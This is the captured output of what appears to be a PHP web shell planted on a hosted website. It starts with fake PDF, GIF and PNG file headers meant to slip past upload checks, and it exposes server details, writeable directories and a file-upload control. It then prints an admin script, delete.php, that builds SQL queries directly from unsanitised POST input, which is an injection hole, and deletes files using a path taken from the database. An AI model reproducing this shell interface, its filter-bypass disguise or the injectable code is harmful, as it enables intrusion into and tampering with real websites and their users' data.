%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_358eb648/admin/manage_specilized/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_358eb648/admin/manage_specilized/delete.php
<?php
include("../config.php"); // Include your database configuration

if(isset($_POST['id'])) {
    // Get the ID from the AJAX request
    $itemId = $_POST['id'];
    $fetchQry = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM specilized_image WHERE id=" . $itemId));
    $dlt_path = "../../images/Upload/product/" . $fetchQry['image_atb'];
    
    // Delete the associated image file from the server
    if (file_exists($dlt_path)) {
        unlink($dlt_path);
    }

    // Delete the item from the database
    mysqli_query($conn, "DELETE FROM `specilized_image` WHERE id='$itemId'");

    // Send a response back to the JavaScript code
    echo "Item with ID $itemId deleted successfully.";
} else {
    echo "Invalid request.";
}
?>

VaKeR 2022